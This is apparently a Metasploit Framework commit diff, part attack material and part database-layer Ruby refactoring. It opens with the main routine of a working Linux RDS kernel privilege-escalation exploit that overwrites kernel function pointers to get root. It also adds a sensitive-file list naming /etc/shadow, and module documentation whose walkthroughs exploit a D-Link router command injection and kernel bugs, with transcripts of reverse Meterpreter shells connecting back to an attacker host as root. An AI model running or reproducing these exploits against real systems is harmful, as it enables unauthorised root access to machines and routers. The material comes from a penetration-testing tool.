printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
// msf note: modified to execute argv[1]
//execl("/bin/sh", "sh", NULL);
system(argv[1]);
}

Binary file not shown.

Binary file not shown.

View File

@ -1,5 +1,6 @@
/etc/passwd
/etc/shadow
/etc/group
/etc/groups
/etc/mysql.conf
/etc/mysql/my.cnf

Binary file not shown.

View File

@ -0,0 +1,74 @@
## Description
This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter.
Vulnerable firmwares are 1.01 up to 1.03.
## Verification Steps
1. Start msfconsole
2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth`
3. Do : `set RHOST [RouterIP]`
4. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp`
5. Do : `run`
6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session
## Scenarios
```
msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0
LHOST => eth0
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555
LPORT => 5555
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run
[*] Started reverse TCP handler on 192.168.1.6:5555
[*] 192.168.1.1:80 Checking target version...
[*] Using URL: http://0.0.0.0:8080/1M6nI0Or6FUiW
[*] Local IP: http://192.168.1.6:8080/1M6nI0Or6FUiW
[*] Client 192.168.1.1 (Wget) requested /1M6nI0Or6FUiW
[*] Sending payload to 192.168.1.1 (Wget)
[*] Sending stage (1104216 bytes) to 192.168.1.1
[*] Meterpreter session 25 opened (192.168.1.6:5555 -> 192.168.1.1:48989) at 2018-05-14 05:30:49 -0400
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.
meterpreter > ls -la
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 2554 dir 2013-03-11 07:27:09 -0400 bin
40755/rwxr-xr-x 3 dir 2013-03-11 07:27:54 -0400 data
40755/rwxr-xr-x 2482 dir 2013-03-11 07:27:56 -0400 dev
40755/rwxr-xr-x 779 dir 2013-03-11 07:27:55 -0400 etc
40755/rwxr-xr-x 690 dir 2013-03-11 07:27:55 -0400 lib
100755/rwxr-xr-x 287124 fil 2013-03-11 07:27:55 -0400 linuxrc
40755/rwxr-xr-x 0 dir 1969-12-31 19:00:01 -0500 mnt
40755/rwxr-xr-x 56 dir 2013-03-11 07:13:15 -0400 opt
40555/r-xr-xr-x 0 dir 1969-12-31 19:00:00 -0500 proc
40755/rwxr-xr-x 270 dir 2013-03-11 07:25:43 -0400 sbin
40755/rwxr-xr-x 0 dir 1969-12-31 19:00:00 -0500 sys
40755/rwxr-xr-x 0 dir 2016-10-08 07:54:13 -0400 tmp
40755/rwxr-xr-x 38 dir 2013-03-11 07:23:32 -0400 usr
40755/rwxr-xr-x 0 dir 2016-10-08 07:46:13 -0400 var
40755/rwxr-xr-x 2801 dir 2013-03-11 07:26:34 -0400 webs
meterpreter > sysinfo
Computer : 192.168.1.1
OS : (Linux 2.6.30)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
```

View File

@ -0,0 +1,97 @@
## Description
This module exploits a race condition and use-after-free in the
`packet_set_ring` function in `net/packet/af_packet.c` (`AF_PACKET`) in
the Linux kernel to execute code as `root` (CVE-2016-8655).
The bug was initially introduced in 2011 and patched in 2016 in version
4.4.0-53.74, potentially affecting a large number of kernels; however
this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
Linux Mint.
The target system must have unprivileged user namespaces enabled and
two or more CPU cores.
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
may crash the kernel.
## Vulnerable Application
This module has been tested successfully on:
* Linux Mint 17.3 (x86_64)
* Linux Mint 18 (x86_64)
* Ubuntu 16.04.2 (x86_64)
With kernel versions:
* 4.4.0-45-generic
* 4.4.0-51-generic
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/af_packet_chocobo_root_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**TIMEOUT**
Race timeout (seconds). (default: `600`)
**COMPILE**
Options: `Auto` `True` `False` (default: `Auto`)
Whether the exploit should be live compiled with `gcc` on the target system,
or uploaded as a pre-compiled binary.
`Auto` will first determine if `gcc` is installed to compile live on the system,
and fall back to uploading a pre-compiled binary.
## Scenarios
```
msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ...
[*] Writing '/tmp/.rMIvkKT' (207 bytes) ...
[*] Launching exploit (Timeout: 600)...
[*] Sending stage (853256 bytes) to 172.16.191.209
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400
[+] Deleted /tmp/.iDLrwN3S4.c
[+] Deleted /tmp/.iDLrwN3S4
[+] Deleted /tmp/.rMIvkKT
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.209
OS : Ubuntu 16.04 (Linux 4.4.0-51-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,92 @@
## Description
This module exploits a vulnerability in the `rds_page_copy_user` function
in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
to execute code as `root` (CVE-2010-3904).
## Vulnerable Application
This module has been tested successfully on:
* Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE
* Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/rds_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
**COMPILE**
Options: `Auto` `True` `False` (default: `Auto`)
Whether the exploit should be live compiled with `gcc` on the target system,
or uploaded as a pre-compiled binary.
`Auto` will first determine if `gcc` is installed to compile live on the system,
and fall back to uploading a pre-compiled binary.
## Compiled Executables
The module makes use of two pre-compiled exploit executables (`rds.x86` and `rds.x64`),
to be use when `gcc` is not available on the target host for live compiling, or
`COMPILE` is set to `False`.
The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar.xz):
```bash
./x86_64-linux-musl-gcc -o rds.x64 -pie -static rds.c
./i486-linux-musl-gcc -o rds.x86 -pie -static rds.c
```
## Scenarios
```
msf5 > use exploit/linux/local/rds_priv_esc
msf5 exploit(linux/local/rds_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/rds_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/rds_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.zEAOL.c' (7282 bytes) ...
[*] Writing '/tmp/.kBTWC7E' (237 bytes) ...
[*] Launching exploit...
[*] Sending stage (853256 bytes) to 172.16.191.149
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.149:40103) at 2018-05-03 08:52:59 -0400
[+] Deleted /tmp/.zEAOL.c
[+] Deleted /tmp/.zEAOL
[+] Deleted /tmp/.kBTWC7E
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 172.16.191.149
OS : Ubuntu 10.04 (Linux 2.6.32-21-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -1,13 +1,12 @@
module HostDataProxy
def hosts(wspace = workspace.name, non_dead = false, addresses = nil, search_term = nil)
def hosts(opts = {})
begin
data_service = self.get_data_service
opts = {}
add_opts_workspace(opts, wspace)
opts[:non_dead] = non_dead
opts[:address] = addresses
opts[:search_term] = search_term
opts[:non_dead] = false unless opts.has_key?(:non_dead)
opts[:address] = opts.delete(:address) || opts.delete(:host)
opts[:search_term] = nil unless opts.has_key?(:search_term)
add_opts_workspace(opts)
data_service.hosts(opts)
rescue => e
self.log_error(e, "Problem retrieving hosts")
@ -15,17 +14,24 @@ module HostDataProxy
end
def find_or_create_host(opts)
host = get_host(opts)
return host unless host.nil?
report_host(opts)
begin
host = hosts(opts.clone)
if host.nil? || host.first.nil?
host = report_host(opts.clone)
else
host = host.first
end
host
rescue => e
self.log_error(e, "Problem finding or creating host")
end
end
def get_host(opts)
begin
data_service = self.get_data_service()
data_service.get_host(opts)
rescue e
rescue => e
self.log_error(e, "Problem retrieving host")
end
end

View File

@ -13,16 +13,32 @@ module LootDataProxy
end
end
# TODO: Shouldn't this proxy to RemoteLootDataService#find_or_create_loot ?
# It's currently skipping the "find" part
def find_or_create_loot(opts)
report_loot(opts)
begin
# create separate opts for find operation since the report operation uses slightly different keys
# TODO: standardize option keys used for the find and report operations
find_opts = opts.clone
# convert type to ltype
find_opts[:ltype] = find_opts.delete(:type) if find_opts.key?(:type)
# convert host to nested hosts address
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
loot = loots(find_opts)
if loot.nil? || loot.first.nil?
loot = report_loot(opts.clone)
else
loot = loot.first
end
loot
rescue => e
self.log_error(e, "Problem finding or creating loot")
end
end
def loots(wspace, opts = {})
def loots(opts = {})
begin
data_service = self.get_data_service
add_opts_workspace(opts, wspace)
add_opts_workspace(opts)
data_service.loot(opts)
rescue => e
self.log_error(e, "Problem retrieving loot")

View File

@ -10,9 +10,26 @@ module NoteDataProxy
end
end
# TODO: like other *DataProxy modules this currently skips the "find" part
def find_or_create_note(opts)
report_note(opts)
begin
# create separate opts for find operation since the report operation uses slightly different keys
# TODO: standardize option keys used for the find and report operations
find_opts = opts.clone
# convert type to ntype
find_opts[:ntype] = find_opts.delete(:type) if find_opts.key?(:type)
# convert host to nested hosts address
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
note = notes(find_opts)
if note.nil? || note.first.nil?
note = report_note(opts.clone)
else
note = note.first
end
note
rescue => e
self.log_error(e, "Problem finding or creating note")
end
end
def report_note(opts)

View File

@ -1,9 +1,9 @@
module ServiceDataProxy
def services(wspace = workspace.name, opts = {})
def services(opts = {})
begin
data_service = self.get_data_service
add_opts_workspace(opts, wspace)
add_opts_workspace(opts)
data_service.services(opts)
rescue => e
self.log_error(e, 'Problem retrieving services')
@ -11,7 +11,23 @@ module ServiceDataProxy
end
def find_or_create_service(opts)
report_service(opts)
begin
# create separate opts for find operation since the report operation uses slightly different keys
# TODO: standardize option keys used for the find and report operations
find_opts = opts.clone
# convert host to nested hosts address
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
service = services(find_opts)
if service.nil? || service.first.nil?
service = report_service(opts.clone)
else
service = service.first
end
service
rescue => e
self.log_error(e, "Problem finding or creating service")
end
end
def report_service(opts)

View File

@ -11,6 +11,20 @@ module VulnDataProxy
end
end
def find_or_create_vuln(opts)
begin
vuln = vulns(opts.clone)
if vuln.nil? || vuln.first.nil?
vuln = report_vuln(opts.clone)
else
vuln = vuln.first
end
vuln
rescue => e
self.log_error(e, "Problem finding or creating vuln")
end
end
def report_vuln(opts)
begin
data_service = self.get_data_service

View File

@ -19,10 +19,6 @@ module RemoteHostDataService
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
end
def find_or_create_host(opts)
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
end
def report_hosts(hosts)
self.post_data(HOST_API_PATH, hosts)
end

View File

@ -23,10 +23,6 @@ module RemoteLootDataService
self.post_data_async(LOOT_API_PATH, opts)
end
def find_or_create_loot(opts)
json_to_mdm_object(self.post_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
end
def report_loots(loot)
self.post_data(LOOT_API_PATH, loot)
end

View File

@ -20,6 +20,10 @@ module HostDataService
raise 'HostDataService#find_or_create_host is not implemented'
end
def update_host(opts)
raise 'HostDataService#update_host is not implemented'
end
def delete_host(opts)
raise 'HostDataService#delete_host is not implemented'
end

View File

@ -4,7 +4,15 @@ module LootDataService
raise 'LootDataService#report_loot is not implemented'
end
def find_or_create_loot(opts)
raise 'LootDataService#find_or_create_loot is not implemented'
end
def loot(opts)
raise 'LootDataService#loots is not implemented'
end
def update_loot(opts)
raise 'LootDataService#update_loot is not implemented'
end
end

View File

@ -4,6 +4,10 @@ module NoteDataService
raise 'NoteDataService#notes is not implemented'
end
def find_or_create_note(opts)
raise 'NoteDataService#find_or_create_note is not implemented'
end
def report_note(opts)
raise 'NoteDataService#report_note is not implemented'
end
@ -15,5 +19,4 @@ module NoteDataService
def delete_note(opts)
raise 'NoteDataService#delete_note is not implemented'
end
end

View File

@ -1,7 +1,22 @@
module ServiceDataService
def services(opts)
raise 'ServiceDataService#services is not implemented'
end
def find_or_create_service(opts)
raise 'ServiceDataService#find_or_create_service is not implemented'
end
def report_service(opts)
raise 'ServiceDataService#report_service is not implemented'
end
def update_service(opts)
raise 'ServiceDataService#update_service is not implemented'
end
def delete_service(opts)
raise 'ServiceDataService#delete_service is not implemented'
end
end

View File

@ -1,7 +1,22 @@
module VulnDataService
def report_vuln(opts)
raise 'VulnDataServicee#report_vuln is not implemented'
def vulns(opts)
raise 'VulnDataService#vulns is not implemented'
end
def find_or_create_vuln(opts)
raise 'VulnDataService#find_or_create_vuln is not implemented'
end
def report_vuln(opts)
raise 'VulnDataService#report_vuln is not implemented'
end
def update_vuln(opts)
raise 'VulnDataService#update_vuln is not implemented'
end
def delete_vuln(opts)
raise 'VulnDataService#delete_vuln is not implemented'
end
end

View File

@ -20,11 +20,15 @@ module WorkspaceDataService
raise 'WorkspaceDataService#workspace= is not implemented'
end
def workspaces
def workspaces(opts)
raise 'WorkspaceDataService#workspaces is not implemented'
end
def workspace_associations_counts()
raise 'WorkspaceDataService#workspace_associations_counts is not implemented'
def delete_workspaces(opts)
raise 'WorkspaceDataService#delete_workspaces is not implemented'
end
def update_workspace(opts)
raise 'WorkspaceDataService#update_workspace is not implemented'
end
end

View File

@ -12,8 +12,8 @@ module Msf::DBManager::Event
return if not wspace # Temp fix?
uname = opts.delete(:username)
if ! opts[:host].kind_of? ::Mdm::Host and opts[:host]
opts[:host] = report_host(:workspace => wspace, :host => opts[:host])
if !opts[:host].nil? && !opts[:host].kind_of?(::Mdm::Host)
opts[:host] = find_or_create_host(workspace: wspace, host: opts[:host])
end
::Mdm::Event.create(opts.merge(:workspace_id => wspace[:id], :username => uname))

View File

@ -58,7 +58,7 @@ module Msf::DBManager::Host
ip = opts[:ip]
tag_name = opts[:tag_name]
host = framework.db.get_host(:workspace => wspace, :address => ip)
host = get_host(workspace: wspace, address: ip)
if host
possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
@ -185,74 +185,78 @@ module Msf::DBManager::Host
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
ret = { }
if !addr.kind_of? ::Mdm::Host
addr = Msf::Util::Host.normalize_host(addr)
unless ipv46_validator(addr)
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr
end
ostate = host.state
# Truncate the info field at the maximum field length
if opts[:info]
opts[:info] = opts[:info][0,65535]
end
# Truncate the name field at the maximum field length
if opts[:name]
opts[:name] = opts[:name][0,255]
end
if opts[:os_name]
os_name, os_flavor = split_windows_os_name(opts[:os_name])
opts[:os_name] = os_name if os_name.present?
if opts[:os_flavor].present?
opts[:os_flavor] = os_flavor + opts[:os_flavor]
else
opts[:os_flavor] = os_flavor
end
end
opts.each do |k,v|
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
elsif !v.blank?
dlog("Unknown attribute for ::Mdm::Host: #{k}")
end
end
host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info
# Set default fields if needed
host.state = Msf::HostState::Alive if !host.state
host.comm = '' if !host.comm
host.workspace = wspace if !host.workspace
begin
framework.events.on_db_host(host) if host.new_record?
rescue ::Exception => e
wlog("Exception in on_db_host event handler: #{e.class}: #{e}")
wlog("Call Stack\n#{e.backtrace.join("\n")}")
end
retry_attempts ||= 0
if !addr.kind_of? ::Mdm::Host
addr = Msf::Util::Host.normalize_host(addr)
host_state_changed(host, ostate) if host.state != ostate
unless ipv46_validator(addr)
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
end
if host.changed?
msf_import_timestamps(opts,host)
host.save!
conditions = {address: addr}
conditions[:comm] = opts[:comm] if !opts[:comm].nil? && opts[:comm].length > 0
host = wspace.hosts.where(conditions).first_or_initialize
else
host = addr
end
ostate = host.state
# Truncate the info field at the maximum field length
if opts[:info]
opts[:info] = opts[:info][0,65535]
end
# Truncate the name field at the maximum field length
if opts[:name]
opts[:name] = opts[:name][0,255]
end
if opts[:os_name]
os_name, os_flavor = split_windows_os_name(opts[:os_name])
opts[:os_name] = os_name if os_name.present?
if opts[:os_flavor].present?
opts[:os_flavor] = os_flavor + opts[:os_flavor]
else
opts[:os_flavor] = os_flavor
end
end
opts.each do |k,v|
if host.attribute_names.include?(k.to_s)
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
elsif !v.blank?
dlog("Unknown attribute for ::Mdm::Host: #{k}")
end
end
host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info
# Set default fields if needed
host.state = Msf::HostState::Alive unless host.state
host.comm = '' unless host.comm
host.workspace = wspace unless host.workspace
begin
framework.events.on_db_host(host) if host.new_record?
rescue => e
wlog("Exception in on_db_host event handler: #{e.class}: #{e}")
wlog("Call Stack\n#{e.backtrace.join("\n")}")
end
host_state_changed(host, ostate) if host.state != ostate
if host.changed?
msf_import_timestamps(opts, host)
host.save!
end
rescue ActiveRecord::RecordNotUnique
# two concurrent report requests for a new host could result in a RecordNotUnique exception
# simply retry the report once more as an optimistic approach
retry if (retry_attempts+=1) <= 1
raise
end
if opts[:task]

View File

@ -4,8 +4,8 @@ module SessionServlet
end
def self.registered(app)
app.post SessionServlet.api_path, &report_session
app.get SessionServlet.api_path, &get_session
app.post SessionServlet.api_path, &report_session
end
#######
@ -16,7 +16,7 @@ module SessionServlet
lambda {
begin
#opts = parse_json_request(request, false)
data = get_db().get_all_sessions()
data = get_db.get_all_sessions()
set_json_response(data)
rescue => e
set_error_on_response(e)
@ -26,14 +26,18 @@ module SessionServlet
def self.report_session
lambda {
job = lambda { |opts|
if (opts[:session_data])
get_db().report_session_dto(opts)
else
get_db().report_session_host_dto(opts)
end
}
exec_report_job(request, &job)
begin
job = lambda { |opts|
if opts[:session_data]
get_db.report_session_dto(opts)
else
get_db.report_session_host_dto(opts)
end
}
exec_report_job(request, &job)
rescue => e
set_error_on_response(e)
end
}
end
end

View File

@ -10,6 +10,10 @@ module Msf::DBManager::Loot
# This methods returns a list of all loot in the database
#
def loots(opts)
data = opts.delete(:data)
# Remove path from search conditions as this won't accommodate remote data
# service usage where the client and server storage locations differ.
opts.delete(:path)
search_term = opts.delete(:search_term)
::ActiveRecord::Base.connection_pool.with_connection {
@ -18,10 +22,17 @@ module Msf::DBManager::Loot
if search_term && !search_term.empty?
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Loot, search_term)
Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)
results = Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)
else
Mdm::Loot.includes(:host).where(opts)
results = Mdm::Loot.includes(:host).where(opts)
end
# Compare the deserialized data from the DB to the search data since the column is serialized.
unless data.nil?
results = results.select { |loot| loot.data == data }
end
results
}
end
alias_method :loot, :loots

View File

@ -25,8 +25,15 @@ module Msf::DBManager::Note
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
data = opts.delete(:data)
search_term = opts.delete(:search_term)
results = wspace.notes.includes(:host).where(opts)
# Compare the deserialized data from the DB to the search data since the column is serialized.
unless data.nil?
results = results.select { |note| note.data == data }
end
if search_term && !search_term.empty?
re_search_term = /#{search_term}/mi
results = results.select { |note|

View File

@ -146,15 +146,16 @@ module Msf::DBManager::Service
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
search_term = opts.delete(:search_term)
opts["hosts.address"] = opts.delete(:addresses)
opts.compact!
order_args = [:port]
order_args.unshift(Mdm::Host.arel_table[:address]) if opts.key?(:hosts)
::ActiveRecord::Base.connection_pool.with_connection {
if search_term && !search_term.empty?
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Service, search_term)
wspace.services.includes(:host).where(opts).where(column_search_conditions).order("hosts.address, port")
wspace.services.includes(:host).where(opts).where(column_search_conditions).order(*order_args)
else
wspace.services.includes(:host).where(opts).order("hosts.address, port")
wspace.services.includes(:host).where(opts).order(*order_args)
end
}
end

View File

@ -120,11 +120,12 @@ module Msf::DBManager::Session
::ActiveRecord::Base.connection_pool.with_connection {
host_data = session_dto[:host_data]
workspace = workspaces({ name: host_data[:workspace] })
h_opts = {}
h_opts[:host] = host_data[:host]
h_opts[:arch] = host_data[:arch]
h_opts[:workspace] = host_data[:workspace]
workspace = workspaces({ name: host_data[:workspace] }).first
h_opts = {
host: host_data[:host],
workspace: workspace
}
h_opts[:arch] = host_data[:arch] if !host_data[:arch].nil? && !host_data[:arch].empty?
host = find_or_create_host(h_opts)
session_data = session_dto[:session_data]
@ -218,7 +219,7 @@ module Msf::DBManager::Session
vuln_info[:service] = service if service
vuln = framework.db.report_vuln(vuln_info)
vuln = report_vuln(vuln_info)
attempt_info = {
host: host,
@ -233,7 +234,7 @@ module Msf::DBManager::Session
run_id: session.exploit.user_data.try(:[], :run_id)
}
framework.db.report_exploit_success(attempt_info)
report_exploit_success(attempt_info)
vuln
}
@ -245,10 +246,12 @@ module Msf::DBManager::Session
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = Msf::Util::Host.normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
h_opts = {
host: Msf::Util::Host.normalize_host(session),
workspace: wspace
}
h_opts[:arch] = session.arch if session.respond_to?(:arch) && !session.arch.nil? && !session.arch.empty?
host = find_or_create_host(h_opts)
sess_data = {
datastore: session.exploit_datastore.to_h,
@ -332,7 +335,7 @@ module Msf::DBManager::Session
vuln_info[:service] = service if service
vuln = framework.db.report_vuln(vuln_info)
vuln = report_vuln(vuln_info)
attempt_info = {
host: host,
@ -347,7 +350,7 @@ module Msf::DBManager::Session
run_id: vuln_info_dto[:run_id]
}
framework.db.report_exploit_success(attempt_info)
report_exploit_success(attempt_info)
vuln
}

View File

@ -131,7 +131,7 @@ class Cache
# Remove all instances of modules pointing to the same path. This prevents stale data hanging
# around when modules are incorrectly typed (eg: Auxilary that should be Exploit)
@module_metadata_cache.delete_if {|_, module_metadata|
module_metadata.path.eql? metadata_obj.path
module_metadata.path.eql? metadata_obj.path && module_metadata.type != module_metadata.type
}
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj

View File

@ -80,31 +80,10 @@ module Msf::Post::Common
#
# Returns a (possibly multi-line) String.
#
def cmd_exec(cmd, args=nil, time_out=15)
def cmd_exec(cmd, args="", time_out=15)
case session.type
when /meterpreter/
#
# The meterpreter API requires arguments to come separately from the
# executable path. This has no effect on Windows where the two are just
# blithely concatenated and passed to CreateProcess or its brethren. On
# POSIX, this allows the server to execve just the executable when a
# shell is not needed. Determining when a shell is not needed is not
# always easy, so it assumes anything with arguments needs to go through
# /bin/sh.
#
# This problem was originally solved by using Shellwords.shellwords but
# unfortunately, it is unsuitable. When a backslash occurs inside double
# quotes (as is often the case with Windows commands) it inexplicably
# removes them. So. Shellwords is out.
#
# By setting +args+ to an empty string, we can get POSIX to send it
# through /bin/sh, solving all the pesky parsing troubles, without
# affecting Windows.
#
start = Time.now.to_i
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
args = ""
end
session.response_timeout = time_out
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
@ -120,7 +99,6 @@ module Msf::Post::Common
end
end
end
o.chomp! if o
begin
process.channel.close
@ -130,22 +108,12 @@ module Msf::Post::Common
process.close
when /powershell/
if args.nil? || args.empty?
o = session.shell_command("#{cmd}", time_out)
else
o = session.shell_command("#{cmd} #{args}", time_out)
end
o.chomp! if o
o = session.shell_command("#{cmd} #{args}", time_out)
when /shell/
if args.nil? || args.empty?
o = session.shell_command_token("#{cmd}", time_out)
else
o = session.shell_command_token("#{cmd} #{args}", time_out)
end
o.chomp! if o
o = session.shell_command_token("#{cmd} #{args}", time_out)
end
return "" if o.nil?
return o
o ? o.chomp : ""
end
def cmd_exec_get_pid(cmd, args=nil, time_out=15)

View File

@ -106,12 +106,7 @@ module Msf::Post::Windows::Priv
#
def is_system?
if session_has_ext
local_sys = resolve_sid(SYSTEM_SID)
if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}"
return true
else
return false
end
return session.sys.config.is_system?
else
results = registry_enumkeys('HKLM\SAM\SAM')
if results

View File

@ -251,12 +251,12 @@ class Db
tbl << [
current_workspace.name == ws.name ? '*' : '',
ws.name,
framework.db.hosts(ws.name).count,
framework.db.services(ws.name).count,
framework.db.vulns({workspace: ws.name}).count,
framework.db.creds({workspace: ws.name}).count,
framework.db.loots(ws.name).count,
framework.db.notes({workspace: ws.name}).count
framework.db.hosts(workspace: ws.name).count,
framework.db.services(workspace: ws.name).count,
framework.db.vulns(workspace: ws.name).count,
framework.db.creds(workspace: ws.name).count,
framework.db.loots(workspace: ws.name).count,
framework.db.notes(workspace: ws.name).count
]
end
@ -310,7 +310,7 @@ class Db
each_host_range_chunk(host_ranges) do |host_search|
break if !host_search.nil? && host_search.empty?
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
framework.db.hosts(address: host_search).each do |host|
framework.db.update_host(host_data.merge(id: host.id))
framework.db.report_note(host: host.address, type: "host.#{attribute}", data: host_data[attribute])
end
@ -561,7 +561,7 @@ class Db
each_host_range_chunk(host_ranges) do |host_search|
break if !host_search.nil? && host_search.empty?
framework.db.hosts(framework.db.workspace, onlyup, host_search, search_term = search_term).each do |host|
framework.db.hosts(address: host_search, non_dead: onlyup, search_term: search_term).each do |host|
matched_host_ids << host.id
columns = col_names.map do |n|
# Deal with the special cases
@ -776,9 +776,10 @@ class Db
each_host_range_chunk(host_ranges) do |host_search|
break if !host_search.nil? && host_search.empty?
opts[:addresses] = host_search
opts[:workspace] = framework.db.workspace
opts[:hosts] = {address: host_search} if !host_search.nil?
opts[:port] = ports if ports
framework.db.services(framework.db.workspace, opts).each do |service|
framework.db.services(opts).each do |service|
host = service.host
matched_service_ids << service.id
